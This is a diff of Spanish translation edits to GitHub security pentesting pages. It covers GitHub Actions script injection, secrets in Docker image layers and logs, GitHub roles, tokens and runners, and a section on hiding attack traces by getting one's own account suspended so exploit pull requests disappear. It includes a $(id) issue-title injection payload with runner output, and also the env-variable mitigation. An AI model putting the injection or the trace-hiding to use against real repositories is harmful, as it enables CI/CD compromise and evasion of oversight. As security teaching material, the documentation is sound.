-Github Action: Compilar y subir imagen Docker +Github Action Build & Push Docker Image ```yaml [...] @@ -619,12 +619,12 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e Como puedes ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**. -Un usuario con permisos de lectura sobre el repo podrá entonces descargar la Docker Image usando un token de acceso personal: +Un usuario con permisos de lectura sobre el repo podrá entonces descargar la Docker Image usando un personal access token: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Entonces, el usuario podría buscar **leaked secrets en las capas de imagen de Docker:** +Luego, el usuario podría buscar **leaked secrets in the Docker image layers:** {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html @@ -632,16 +632,16 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ### Información sensible en los logs de Github Actions -Aunque **Github** intenta **detectar valores secretos** en los logs de Actions y **evitar mostrarlos**, **otros datos sensibles** que pudieron haberse generado durante la ejecución de la action no serán ocultados. Por ejemplo, un JWT firmado con un valor secreto no será ocultado a menos que esté [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Aunque **Github** intenta **detectar valores secretos** en los logs de Actions y **evitar mostrarlos**, **otros datos sensibles** que podrían haberse generado durante la ejecución de la action no serán ocultados. Por ejemplo, un JWT firmado con un valor secreto no se ocultará a menos que esté [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). ## Ocultando tus rastros -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR abierto es claramente visible para el público en Github y para la cuenta objetivo en GitHub. En GitHub, por defecto, **can’t delete a PR of the internet**, pero hay una excepción. Para las cuentas de Github que son **suspendidas** por Github, todos sus **PRs are automatically deleted** y se quitan de internet. Así que, para ocultar tu actividad necesitas o bien conseguir que tu **GitHub account suspended or get your account flagged**. Esto **hide all your activities** en GitHub desde internet (básicamente remove all your exploit PR) +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR creado es claramente visible al público en Github y a la cuenta objetivo en GitHub. En GitHub por defecto, **no podemos eliminar un PR de Internet**, pero hay una vuelta de tuerca. Para cuentas de Github que son **suspendidas** por Github, todos sus **PRs son eliminados automáticamente** y removidos de Internet. Así que, para ocultar tu actividad necesitas o bien conseguir que tu **GitHub account suspended or get your account flagged**. Esto **ocultaría todas tus actividades** en GitHub de Internet (básicamente eliminar todos tus exploit PR) -Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir “some stuff” en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 hours :p y ahí lo tienes, habrás hecho tu exploit invisible en github. +An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github. > [!WARNING] -> La única forma de que una organización descubra que ha sido objetivo es revisar los GitHub logs desde el SIEM, ya que desde la GitHub UI el PR sería eliminado. +> La única forma de que una organización se dé cuenta de que ha sido objetivo es revisar los logs de GitHub desde SIEM, ya que desde el GitHub UI el PR sería eliminado. ## Referencias diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index a269973d0..050f94ceb 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -2,20 +2,20 @@ {{#include ../../../banners/hacktricks-training.md}} -## Comprender el riesgo +## Entendiendo el riesgo -GitHub Actions renderiza las expresiones ${{ ... }} antes de que el paso se ejecute. El valor renderizado se pega en el programa del paso (para pasos run, un shell script). Si interpolas entrada no confiable directamente dentro de run:, el atacante controla parte del programa del shell y puede ejecutar comandos arbitrarios. +GitHub Actions renders expressions ${{ ... }} before the step executes. El valor renderizado se pega en el programa del step (para run steps, un shell script). Si interpolas input no confiable directamente dentro de run:, el atacante controla parte del programa del shell y puede ejecutar comandos arbitrarios. -Documentación: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions y contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts +Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts Puntos clave: - El renderizado ocurre antes de la ejecución. El script de run se genera con todas las expresiones resueltas y luego es ejecutado por el shell. -- Muchos contexts contienen campos controlados por el usuario dependiendo del evento que los desencadena (issues, PRs, comments, discussions, forks, stars, etc.). Consulta la referencia sobre entrada no confiable: https://securitylab.github.com/resources/github-actions-untrusted-input/ -- El uso de comillas en el shell dentro de run: no es una defensa fiable, porque la inyección ocurre en la fase de renderizado de la plantilla. Los atacantes pueden salir de las comillas o inyectar operadores mediante entradas especialmente construidas. +- Muchos contextos contienen campos controlados por el usuario dependiendo del evento que lo desencadena (issues, PRs, comments, discussions, forks, stars, etc.). Consulta la referencia de untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/ +- El quoting del shell dentro de run: no es una defensa fiable, porque la inyección ocurre en la etapa de renderizado de la plantilla. Los atacantes pueden romper las comillas o inyectar operadores mediante input especialmente creado. ## Patrón vulnerable → RCE en el runner -Flujo de trabajo vulnerable (se desencadena cuando alguien abre un nuevo issue): +Vulnerable workflow (se activa cuando alguien abre un nuevo issue): ```yaml name: New Issue Created on: @@ -36,20 +36,20 @@ with: github_token: ${{ secrets.GITHUB_TOKEN }} labels: new ``` -Si un atacante abre un issue titulado $(id), el step renderizado se convierte en: +Si un atacante abre un issue titulado $(id), el paso renderizado se convierte en: ```sh echo "New issue $(id) created" ``` -La sustitución de comandos ejecuta id en el runner. Ejemplo de salida: +La sustitución de comandos ejecuta id en el runner. Salida de ejemplo: ``` New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created ``` -Por qué las comillas no te protegen: +Por qué las comillas no te salvan: - Las expresiones se renderizan primero, luego se ejecuta el script resultante. Si el valor no confiable contiene $(...), `;`, `"`/`'`, o saltos de línea, puede alterar la estructura del programa a pesar de tus comillas. ## Patrón seguro (shell variables via env) -Mitigación correcta: copia la entrada no confiable en una variable de entorno, luego usa la expansión nativa del shell ($VAR) en el script de ejecución. No vuelvas a incrustar con ${{ ... }} dentro del comando. +Mitigación correcta: copia la entrada no confiable en una variable de entorno, luego usa la expansión nativa del shell ($VAR) en el script de ejecución. No vuelvas a insertar con ${{ ... }} dentro del comando. ```yaml # safe jobs: @@ -63,30 +63,30 @@ run: | echo "New issue $TITLE created" ``` Notas: -- Evita usar ${{ env.TITLE }} dentro de run:. Eso reintroduce el renderizado de plantillas en el comando y provoca el mismo riesgo de inyección. -- Prefiere pasar entradas no confiables vía el mapeo env: y referenciarlas con $VAR en run:. +- Evita usar ${{ env.TITLE }} dentro de run:. Eso reintroduce el renderizado de templates en el comando y supone el mismo riesgo de inyección. +- Prefiere pasar entradas no confiables vía env: mapping y referenciarlas con $VAR en run:. -## Superficies que un lector puede activar (tratar como no confiables) +## Superficies activables por el lector (trátalas como no confiables) -Las cuentas con permiso de solo lectura en repositorios públicos aún pueden desencadenar muchos eventos. Cualquier campo en contextos derivados de estos eventos debe considerarse controlado por un atacante a menos que se demuestre lo contrario. Ejemplos: +Las cuentas con solo permiso de lectura en repositorios públicos aún pueden desencadenar muchos eventos. Cualquier campo en los contextos derivados de estos eventos debe considerarse controlado por un atacante a menos que se demuestre lo contrario. Ejemplos: - issues, issue_comment -- discussion, discussion_comment (orgs can restrict discussions) +- discussion, discussion_comment (las orgs pueden restringir las discusiones) - pull_request, pull_request_review, pull_request_review_comment -- pull_request_target (dangerous if misused, runs in base repo context) -- fork (anyone can fork public repos) -- watch (starring a repo) -- Indirectly via workflow_run/workflow_call chains +- pull_request_target (peligroso si se usa incorrectamente, se ejecuta en el contexto del repo base) +- fork (cualquiera puede forkear repos públicos) +- watch (marcar un repo con star) +- Indirectamente vía cadenas workflow_run/workflow_call -Qué campos específicos están controlados por un atacante depende del evento. Consulta la guía Untrusted input de GitHub Security Lab: https://securitylab.github.com/resources/github-actions-untrusted-input/ +Qué campos específicos están controlados por un atacante depende del evento. Consulta la guía de inputs no confiables de GitHub Security Lab: https://securitylab.github.com/resources/github-actions-untrusted-input/ ## Consejos prácticos -- Minimiza el uso de expresiones dentro de run:. Prefiere el mapeo env: + $VAR. +- Minimiza el uso de expressions dentro de run:. Prefiere env: mapping + $VAR. - Si debes transformar la entrada, hazlo en el shell usando herramientas seguras (printf %q, jq -r, etc.), empezando siempre desde una variable de shell. -- Ten especial cuidado al interpolar nombres de rama, títulos de PR, usernames, labels, títulos de discussion y PR head refs en scripts, flags de línea de comandos o rutas de archivos. +- Ten especial cuidado al interpolar nombres de branch, títulos de PR, nombres de usuario, labels, títulos de discusión y PR head refs en scripts, flags de línea de comandos o rutas de archivos. - Para reusable workflows y composite actions, aplica el mismo patrón: mapear a env y luego referenciar $VAR. -## References +## Referencias - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) - [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions) diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 38370afd4..967f9dd65 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -4,58 +4,58 @@ ## Estructura básica -La estructura básica del entorno de Github de una gran **company** consiste en poseer un **enterprise** que a su vez posee **varias organizations** y cada una de ellas puede contener **varios repositories** y **varios teams**. Las empresas más pequeñas pueden simplemente **poseer una sola organization y no enterprises**. +La estructura básica del entorno de github de una gran **company** es poseer una **enterprise** que a su vez posee **varias organizations** y cada una de ellas puede contener **varios repositories** y **varios teams.**. Las empresas más pequeñas pueden simplemente **poseer una organization y no enterprises**. -Desde el punto de vista de un usuario, un **user** puede ser **miembro** de **diferentes enterprises y organizations**. Dentro de ellas el usuario puede tener **diferentes roles a nivel enterprise, organization y repository**. +Desde el punto de vista de un usuario, un **user** puede ser **member** de **diferentes enterprises y organizations**. Dentro de ellas el usuario puede tener **diferentes enterprise, organization y repository roles**. -Además, un usuario puede ser **parte de diferentes teams** con distintos roles a nivel enterprise, organization o repository. +Además, un usuario puede ser **parte de diferentes teams** con distintos enterprise, organization o repository roles. -Y finalmente, **los repositories pueden tener mecanismos especiales de protección**. +Y finalmente **los repositories pueden tener mecanismos especiales de protección**. ## Privilegios ### Enterprise Roles -- **Enterprise owner**: Las personas con este rol pueden **gestionar administradores, gestionar organizations dentro del enterprise, gestionar la configuración del enterprise y aplicar políticas en las organizations**. Sin embargo, **no pueden acceder a la configuración o al contenido de una organization** a menos que se les designe como organization owner o se les dé acceso directo a un repository propiedad de la organization. -- **Enterprise members**: Los miembros de las organizations propiedad de tu enterprise también son **automáticamente miembros del enterprise**. +- **Enterprise owner**: Las personas con este rol pueden **gestionar administradores, gestionar organizations dentro de la enterprise, gestionar la configuración de la enterprise y aplicar políticas a través de las organizations**. Sin embargo, **no pueden acceder a la configuración o al contenido de una organization** a menos que se les haga organization owner o se les otorgue acceso directo a un repository propiedad de la organization. +- **Enterprise members**: Los miembros de las organizations que pertenecen a tu enterprise también son **automáticamente members de la enterprise**. ### Organization Roles En una organization los usuarios pueden tener diferentes roles: -- **Organization owners**: Los organization owners tienen **acceso administrativo completo a tu organization**. Este rol debe limitarse, pero a no menos de dos personas, en tu organization. +- **Organization owners**: Los organization owners tienen **acceso administrativo completo a tu organization**. Este rol debe limitarse, pero no a menos de dos personas, en tu organization. - **Organization members**: El rol **por defecto**, no administrativo para **las personas en una organization** es organization member. Por defecto, los organization members **tienen una serie de permisos**. - **Billing managers**: Los billing managers son usuarios que pueden **gestionar la configuración de facturación de tu organization**, como la información de pago. -- **Security Managers**: Es un rol que los organization owners pueden asignar a cualquier team dentro de una organization. Cuando se aplica, da a cada miembro del team permisos para **gestionar alertas y configuraciones de seguridad en la organization, así como permisos de lectura para todos los repositories** de la organization. -- Si tu organization tiene un security team, puedes usar el rol de security manager para dar a los miembros del team el menor acceso necesario a la organization. +- **Security Managers**: Es un rol que los organization owners pueden asignar a cualquier team en una organization. Cuando se aplica, otorga a cada miembro del team permisos para **gestionar alertas y configuraciones de seguridad en toda tu organization, así como permisos de lectura para todos los repositories** en la organization. +- Si tu organization tiene un security team, puedes usar el rol de security manager para dar a los miembros del team el menor acceso que necesiten a la organization. - **Github App managers**: Para permitir que usuarios adicionales **gestionen GitHub Apps propiedad de una organization**, un owner puede otorgarles permisos de Github App manager. -- **Outside collaborators**: Un outside collaborator es una persona que **tiene acceso a uno o más repositories de la organization pero no es explícitamente miembro** de la organization. +- **Outside collaborators**: Un outside collaborator es una persona que tiene **acceso a uno o más repositories de la organization pero que no es explícitamente member de la organization**. Puedes **comparar los permisos** de estos roles en esta tabla: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) ### Members Privileges -En _https://github.com/organizations/\/settings/member_privileges_ puedes ver los **permisos que los usuarios tendrán solo por ser parte de la organization**. +En _https://github.com/organizations/\/settings/member_privileges_ puedes ver los **permisos que los users tendrán solo por ser parte de la organization**. -Las configuraciones aquí indicarán los siguientes permisos de los miembros de la organization: +La configuración aquí definida indicará los siguientes permisos de los members de la organization: - Ser admin, writer, reader o no tener permiso sobre todos los repositories de la organization. -- Si los members pueden crear repositories privados, internal o públicos. +- Si los members pueden crear repositories private, internal o public. - Si es posible forkear repositories. - Si es posible invitar outside collaborators. -- Si se pueden publicar sitios públicos o privados. +- Si se pueden publicar sitios public o private. - Los permisos que los admins tienen sobre los repositories. - Si los members pueden crear nuevos teams. ### Repository Roles -Por defecto se crean los siguientes roles de repository: +Por defecto se crean los siguientes repository roles: -- **Read**: Recomendado para **contribuidores que no trabajan con el código** y que quieren ver o comentar tu proyecto. -- **Triage**: Recomendado para **contribuidores que necesitan gestionar proactivamente issues y pull requests** sin acceso de escritura. -- **Write**: Recomendado para contribuyentes que **empujan activamente al proyecto**. +- **Read**: Recomendado para **colaboradores que no tocan el código** y que solo quieren ver o comentar tu proyecto. +- **Triage**: Recomendado para **colaboradores que necesitan gestionar proactivamente issues y pull requests** sin acceso de escritura. +- **Write**: Recomendado para colaboradores que **realmente hacen push en tu proyecto**. - **Maintain**: Recomendado para **project managers que necesitan gestionar el repository** sin acceso a acciones sensibles o destructivas. -- **Admin**: Recomendado para personas que necesitan **acceso total al proyecto**, incluidas acciones sensibles y destructivas como gestionar seguridad o eliminar un repository. +- **Admin**: Recomendado para personas que necesitan **acceso completo al proyecto**, incluyendo acciones sensibles y destructivas como gestionar seguridad o borrar un repository. Puedes **comparar los permisos** de cada rol en esta tabla [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) @@ -63,13 +63,13 @@ También puedes **crear tus propios roles** en _https://github.com/organizations ### Teams -Puedes **listar los teams creados en una organization** en _https://github.com/orgs/\/teams_. Ten en cuenta que para ver los teams que son hijos de otros teams necesitas acceder a cada team padre. +Puedes **listar los teams creados en una organization** en _https://github.com/orgs/\/teams_. Ten en cuenta que para ver los teams que son hijos de otros teams necesitas acceder a cada parent team. ### Users -Los usuarios de una organization pueden **listarse** en _https://github.com/orgs/\/people._ +Los users de una organization pueden ser **listados** en _https://github.com/orgs/\/people._ -En la información de cada user puedes ver los **teams de los que el usuario es miembro**, y los **repos a los que el usuario tiene acceso**. +En la información de cada user puedes ver los **teams de los que el user es member**, y los **repos a los que el user tiene acceso**. ## Github Authentication @@ -77,7 +77,7 @@ Github ofrece diferentes formas de autenticarse en tu cuenta y realizar acciones ### Web Access -Accediendo a **github.com** puedes iniciar sesión usando tu **username y password** (y una **2FA potencialmente**). +Accediendo a **github.com** puedes iniciar sesión usando tu **username y password** (y potencialmente un **2FA**). ### **SSH Keys** @@ -85,72 +85,72 @@ Puedes configurar tu cuenta con una o varias claves públicas permitiendo que la #### **GPG Keys** -No **puedes suplantar al usuario con estas claves**, pero si no las usas podría ser posible que **se te detecte por enviar commits sin firma**. Aprende más sobre el [vigilant mode aquí](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +No puedes **suplantar al user con estas claves**, pero si no las usas podría ser posible que **se detecte que envías commits sin firma**. Aprende más sobre el [vigilant mode aquí](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). ### **Personal Access Tokens** -Puedes generar personal access tokens para **dar a una aplicación acceso a tu cuenta**. Al crear un personal access token el **user** necesita **especificar** los **permisos** que el **token** tendrá. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Puedes generar personal access token para **dar a una aplicación acceso a tu cuenta**. Al crear un personal access token el **user** necesita **especificar** los **permisos** que el **token** tendrá. [https://github.com/settings/tokens](https://github.com/settings/tokens) ### Oauth Applications -Las Oauth applications pueden pedirte permisos **para acceder a parte de tu información de github o para suplantarte** y realizar algunas acciones. Un ejemplo común de esta funcionalidad es el botón de **login with github** que podrías encontrar en algunas plataformas. +Oauth applications pueden pedirte permisos **para acceder a parte de tu información de github o para suplantarte** y realizar algunas acciones. Un ejemplo común de esta funcionalidad es el botón de **login with github** que podrías encontrar en algunas plataformas. - Puedes **crear** tus propias **Oauth applications** en [https://github.com/settings/developers](https://github.com/settings/developers) - Puedes ver todas las **Oauth applications que tienen acceso a tu cuenta** en [https://github.com/settings/applications](https://github.com/settings/applications) -- Puedes ver los **scopes que las Oauth Apps pueden solicitar** en [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) +- Puedes ver los **scopes que Oauth Apps pueden pedir** en [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) - Puedes ver el acceso de terceros de aplicaciones en una **organization** en _https://github.com/organizations/\/settings/oauth_application_policy_ Algunas **recomendaciones de seguridad**: -- Un **OAuth App** siempre debe **actuar como el usuario autenticado de GitHub en todo GitHub** (por ejemplo, al proporcionar notificaciones al usuario) y con acceso solo a los scopes especificados. -- Un OAuth App puede usarse como proveedor de identidad habilitando un "Login with GitHub" para el usuario autenticado. -- **No** construyas un **OAuth App** si quieres que tu aplicación actúe sobre **un único repository**. Con el scope `repo`, las OAuth Apps pueden **actuar sobre _todos_ los repositories del usuario autenticado**. -- **No** construyas un OAuth App para actuar como una aplicación para tu **team o empresa**. Las OAuth Apps se autentican como **un solo usuario**, así que si una persona crea una OAuth App para que la use la empresa y luego deja la empresa, nadie más tendrá acceso a ella. -- **Más** información [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- Un **OAuth App** siempre debería **actuar como el GitHub user autenticado a lo largo de todo GitHub** (por ejemplo, al proporcionar notificaciones al user) y con acceso solo a los scopes especificados. +- Un OAuth App puede usarse como proveedor de identidad habilitando un "Login with GitHub" para el user autenticado. +- **No** construyas un **OAuth App** si quieres que tu aplicación actúe sobre **un solo repository**. Con el scope `repo`, OAuth Apps pueden **actuar sobre _todos_ los repositories del usuario autenticado**. +- **No** construyas un OAuth App para actuar como aplicación de tu **team o company**. Los OAuth Apps se autentican como un **single user**, por lo que si una persona crea un OAuth App para que la company lo use y luego esa persona deja la company, nadie más tendrá acceso a él. +- **Más** en [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). ### Github Applications -Las Github applications pueden pedir permisos para **acceder a tu información de github o suplantarte** para realizar acciones específicas sobre recursos concretos. En los Github Apps necesitas especificar los repositories a los que la app tendrá acceso. +Github applications pueden pedir permisos para **acceder a tu información de github o suplantarte** para realizar acciones específicas sobre recursos concretos. En Github Apps necesitas especificar los repositories a los que la app tendrá acceso. -- Para instalar un GitHub App, debes ser **organisation owner o tener permisos admin** en un repository. -- El GitHub App debe **conectarse a una cuenta personal o a una organization**. +- Para instalar una GitHub App, debes ser **organisation owner o tener permisos de admin** en un repository. +- La GitHub App debe **conectarse a una personal account o a una organization**. - Puedes crear tu propia Github application en [https://github.com/settings/apps](https://github.com/settings/apps) - Puedes ver todas las **Github applications que tienen acceso a tu cuenta** en [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- Estos son los **endpoints de la API para Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependiendo de los permisos de la App, podrá acceder a algunos de ellos. +- Estos son los **API Endpoints para Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependiendo de los permisos de la App podrá acceder a algunos de ellos. - Puedes ver las apps instaladas en una **organization** en _https://github.com/organizations/\/settings/installations_ Algunas recomendaciones de seguridad: -- Un GitHub App debería **realizar acciones de forma independiente a un usuario** (a menos que la app esté usando un token [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para mantener más seguros los access tokens user-to-server, puedes usar access tokens que expiren tras 8 horas y un refresh token que pueda canjearse por un nuevo access token. Para más información, consulta "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Asegúrate de que el GitHub App se integre con **repositories específicos**. -- El GitHub App debe **conectarse a una cuenta personal o a una organization**. -- No esperes que el GitHub App conozca y haga todo lo que un usuario puede hacer. -- **No uses un GitHub App si solo necesitas un servicio de "Login with GitHub"**. Pero un GitHub App puede usar un [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para iniciar sesión a los usuarios _y_ hacer otras cosas. -- No construyas un GitHub App si _solo_ quieres actuar como un usuario de GitHub y hacer todo lo que ese usuario puede hacer. -- Si estás usando tu app con GitHub Actions y deseas modificar archivos de workflow, debes autenticarte en nombre del usuario con un OAuth token que incluya el scope `workflow`. El usuario debe tener permisos admin o write en el repository que contiene el archivo de workflow. Para más información, consulta "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **Más** información [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- Una GitHub App debería **realizar acciones independientes de un user** (a menos que la app esté usando un [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Para mantener más seguros los access tokens user-to-server, puedes usar access tokens que expiren después de 8 horas y un refresh token que se pueda intercambiar por un nuevo access token. Para más información, consulta "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Asegúrate de que la GitHub App se integre con **repositorios específicos**. +- La GitHub App debe **conectarse a una personal account o a una organization**. +- No esperes que la GitHub App conozca y haga todo lo que un user puede hacer. +- **No uses una GitHub App si solo necesitas un servicio de "Login with GitHub"**. Pero una GitHub App puede usar un [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para iniciar sesión a los users _y_ hacer otras cosas. +- No construyas una GitHub App si _solo_ quieres actuar como un GitHub user y hacer todo lo que ese user puede hacer. +- Si estás usando tu app con Github Actions y quieres modificar archivos de workflow, debes autenticarte en nombre del user con un OAuth token que incluya el scope `workflow`. El user debe tener permisos de admin o write en el repository que contiene el archivo de workflow. Para más información, consulta "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- **Más** en [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -Esto **no es una forma de autenticarse en github**, pero una Github Action **maliciosa** podría obtener **acceso no autorizado a github** y, **dependiendo** de los **privilegios** otorgados a la Action, podrían realizarse **distintos ataques**. Ver más abajo para más información. +Esto **no es una forma de autenticarse en github**, pero una Github Action **maliciosa** podría obtener **acceso no autorizado a github** y, **dependiendo** de los **privilegios** otorgados a la Action, se podrían realizar varios **ataques**. Ver más abajo para más información. ## Git Actions -Git actions permite automatizar la **ejecución de código cuando ocurre un evento**. Usualmente el código ejecutado está **de alguna forma relacionado con el código del repository** (por ejemplo, construir un contenedor docker o comprobar que el PR no contiene secretos). +Git actions permite automatizar la **ejecución de código cuando ocurre un evento**. Normalmente el código ejecutado está **de algún modo relacionado con el código del repository** (por ejemplo, construir un contenedor docker o comprobar que el PR no contiene secrets). -### Configuración +### Configuration -En _https://github.com/organizations/\/settings/actions_ es posible revisar la **configuración de las github actions** para la organization. +En _https://github.com/organizations/\/settings/actions_ es posible comprobar la **configuración de las github actions** para la organization. -Es posible deshabilitar completamente el uso de github actions, **permitir todas las github actions**, o permitir solo ciertas actions. +Es posible deshabilitar completamente el uso de github actions, **permitir todas las github actions**, o solo permitir ciertas actions. También es posible configurar **quién necesita aprobación para ejecutar una Github Action** y los **permisos del GITHUB_TOKEN** de una Github Action cuando se ejecuta. ### Git Secrets -Las Github Action normalmente necesitan algún tipo de secrets para interactuar con github o aplicaciones de terceros. Para **evitar almacenarlos en texto claro** en el repo, github permite guardarlos como **Secrets**. +Las Github Actions normalmente necesitan algún tipo de secret para interactuar con github o aplicaciones de terceros. Para **evitar ponerlos en texto plano** en el repo, github permite almacenarlos como **Secrets**. -Estos secrets pueden configurarse **para el repo o para toda la organization**. Luego, para que la **Action pueda acceder al secret** necesitas declararlo así: +Estos secrets pueden configurarse **para el repo o para toda la organization**. Entonces, para que la **Action pueda acceder al secret** necesitas declararlo así: ```yaml steps: - name: Hello world action @@ -168,90 +168,90 @@ run: | example-command "$SUPER_SECRET" ``` > [!WARNING] -> Secrets **solo pueden ser accedidos desde los Github Actions** que los hayan declarado. +> Los secretos **solo pueden ser accedidos desde los Github Actions** que los hayan declarado. > -> Una vez configurados en el repo o en la organización, **los usuarios de github no podrán acceder a ellos de nuevo**, solo podrán **cambiarlos**. +> Una vez configurados en el repo o en las organizations, **los usuarios de github no podrán acceder a ellos de nuevo**, solo podrán **cambiarlos**. -Por lo tanto, la **única forma de robar github secrets es poder acceder a la máquina que está ejecutando el Github Action** (en ese escenario solo podrás acceder a los secrets declarados para la Action). +Por lo tanto, la **única forma de robar secretos de github es poder acceder a la máquina que está ejecutando la Github Action** (en ese escenario solo podrás acceder a los secretos declarados para la Action). ### Entornos de Git -Github permite crear **entornos** donde puedes guardar **secrets**. Luego, puedes dar al Github Action acceso a los **secrets** dentro del entorno con algo como: +Github permite crear **entornos** donde puedes guardar **secretos**. Luego, puedes dar a la github action acceso a los secretos dentro del entorno con algo como: ```yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name ``` -Puedes configurar un environment para que sea **accedido** por **todas las ramas** (por defecto), **solo ramas protegidas** o **especificar** qué ramas pueden acceder a él.\ +You can configure an environment to be **accedido** por **todas las ramas** (por defecto), **solo ramas protegidas** o **especificar** qué ramas pueden acceder a él.\ Además, las protecciones del environment incluyen: -- **Required reviewers**: detienen jobs dirigidos al environment hasta que sean aprobados. Habilita **Prevent self-review** para aplicar un verdadero principio de four‑eyes en la aprobación. -- **Deployment branches and tags**: restringe qué branches/tags pueden desplegar al environment. Prefiere seleccionar ramas/tags específicos y asegúrate de que esas ramas estén protegidas. Nota: la opción "Protected branches only" se aplica a las protecciones clásicas de rama y puede no comportarse como se espera si se usan rulesets. -- **Wait timer**: retrasa los deployments durante un periodo configurable. +- **Revisores requeridos**: bloquee jobs que apunten al environment hasta que sean aprobados. Habilita **Prevent self-review** para forzar un principio de cuatro ojos en la propia aprobación. +- **Deployment branches and tags**: restrinja qué ramas/tags pueden desplegar al environment. Prefiera seleccionar ramas/tags específicos y asegúrese de que esas ramas estén protegidas. Nota: la opción "Protected branches only" se aplica a las protecciones clásicas de ramas y puede no comportarse como se espera si usa rulesets. +- **Wait timer**: retrase los despliegues por un periodo configurable. -También se puede establecer un **número de revisiones requeridas** antes de **ejecutar** una **acción** que use un **environment**, o **esperar** algún **tiempo** antes de permitir que los deployments continúen. +También se puede configurar un **número de revisiones requeridas** antes de **ejecutar** una **acción** usando un **environment** o **esperar** algún **tiempo** antes de permitir que los despliegues procedan. ### Git Action Runner -Una Github Action puede **ejecutarse dentro del github environment** o puede ejecutarse en una **infraestructura de terceros** configurada por el usuario. +Un Github Action puede ser **ejecutado dentro del github environment** o puede ejecutarse en una **infraestructura de terceros** configurada por el usuario. Varias organizaciones permiten ejecutar Github Actions en una **infraestructura de terceros** ya que suele ser **más barato**. Puedes **listar los self-hosted runners** de una organización en _https://github.com/organizations/\/settings/actions/runners_ -La forma de encontrar qué **Github Actions se están ejecutando en infraestructura no-github** es buscar `runs-on: self-hosted` en el yaml de configuración de la Github Action. +La forma de encontrar qué **Github Actions se están ejecutando en infraestructura no-github** es buscar `runs-on: self-hosted` en el yaml de configuración del Github Action. -No es **posible ejecutar una Github Action de una organización dentro de una máquina self-hosted** de otra organización porque **se genera un token único para el Runner** al configurarlo para saber a qué organización 